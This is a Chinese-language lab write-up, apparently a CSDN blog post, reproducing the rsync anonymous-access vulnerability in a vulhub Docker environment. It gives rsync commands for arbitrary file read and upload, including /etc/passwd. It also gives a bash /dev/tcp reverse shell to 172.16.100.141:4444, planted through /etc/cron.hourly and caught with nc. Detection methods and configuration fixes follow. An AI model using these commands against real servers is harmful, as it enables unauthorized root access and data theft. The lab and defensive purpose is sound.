rsync未授权访问漏洞利用复现

一、Rsync简介

Rsync是Linux下一款数据备份工具,它在同步文件的同时,可以保持原来文件的权限、时间、软硬链接等附加信息。同时支持通过rsync协议、ssh协议进行远程文件传输。常被用于在内网进行源代码的分发及同步更新,因此使用人群多为开发人员。其中rsync协议默认监听873端口,而一般开发人员安全意识薄弱的情况下,如果目标开启了rsync服务,并且没有配置ACL或访问密码,而rsync默认是root权限,我们将可以读写目标服务器文件。

二、利用条件

rsync默认允许匿名访问,也可在其配置文件中为同步目录添加用户认证相关项,包括认证文件及授权账号,若未包含授权账号行(auth users),则为匿名访问。

三、搭建环境

使用vulhub项目:

来搭建复现环境,编译及运行rsync服务器:

docker-compose builddocker-compose up -d

(4) nmap扫描一下端口,看到873端口已开启,说明环境搭建完成。

四、漏洞复现

常用操作:

列出模块下的文件:

rsync rsync://127.0.0.1/src

任意文件上传:

rsync 1.txt rsync://192.168.122.1/src/home/

任意文件下载

rsync rsync://192.168.122.1/src/etc/passwd ./

通过写cron任务反弹shell

1、下载任务计划文件

rsync -av rsync://127.0.0.1/src/etc/crontab crontab.txt

2、查看任务计划文件

任务计划表示在每小时的第17分钟执行run-parts --report /etc/cron.hourly命令

17 * * * * root cd / && run-parts --report /etc/cron.hourly

3、构造shell

#!/bin/bash/bin/bash -i >& /dev/tcp/172.16.100.141/4444 0>&1

赋予执行权限

chmod +x shell

4、把shell上传至/etc/cron.hourly

rsync -av shell rsync://127.0.0.1/src/etc/cron.hourly

5、本地监听4444端口,等待计划任务执行后反弹shell成功

nc -nvv -lp 4444

此外如果目标有Web服务的话,可以直接写WebShell,或者可以通过写ssh公钥实现获取权限。

五、漏洞探测

关于rsync漏洞扫描方式可以通过以下两种方式实现:

1、rsync扫描-Metasploit:

Metasploit中关于允许匿名访问的rsync扫描模块:

auxiliary/scanner/rsync/modules_list

2、rsync扫描-nmap:

nmap -p 873 --script rsync-list-modules 127.0.0.1

六、漏洞成因

rsync默认配置文件为/etc/rsyncd.conf,常驻模式启动命令rsync –daemon,启动成功后默认监听于TCP端口873,可通过rsync-daemon及ssh两种方式进行认证。

首先查看一下rsync的配置文件

根据以下配置文件发现,我们可以访问path所指定目录以外的目录,该配置还定义了一个src模块,路径指向根目录,而且可读可写,最重要的是没有设置用户名,如此便无需密码直接访问rsync。

uid = rootgid = rootuse chroot = nomax connections = 4syslog facility = local5pid file = /var/run/rsyncd.pidlog file = /var/log/rsyncd.log[src]path = /comment = src pathread only = no

七、修复建议

更改rysnc默认配置文件/etc/rsyncd.conf,添加或修改参数:

访问控制;设置host allow,限制允许访问主机的IP。

权限控制;设置auth users ,将模块设置成只读。

权限控制;设置read only,将模块设置成只读。

访问认证;设置auth、secrets,认证成功才能调用服务。

模块隐藏;设置list,将模块隐藏。

八、参考链接

https://www.jianshu.com/p/e73f7de1a0f6

https://hok1.github.io/2018/02/03/

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
回答: 目前已经存在一些rsync的漏洞,可以被攻击者利用来执行远程代码或者获取敏感信息。其中一种漏洞是在rsync服务端配置文件中,如果配置了"uid"和"gid"为root权限,并且没有启用chroot限制,则攻击者可以通过构造恶意的rsync请求来提升权限并执行恶意代码。此外,在一些版本的rsync中存在其他漏洞,攻击者可以利用这些漏洞来执行任意命令或者读取敏感文件。要防止漏洞利用,建议及时更新rsync到最新版本,并且配置合适的权限限制和访问控制,确保只有合法的用户可以访问rsync服务。另外,也应该定期审查rsync日志,以及监控系统中的异常行为。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [rsync 授权访问漏洞](https://blog.csdn.net/weixin_59086772/article/details/122195357)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] - *3* [漏洞利用——Rsync匿名访问漏洞](https://blog.csdn.net/qq_33608000/article/details/104124375)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT3_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值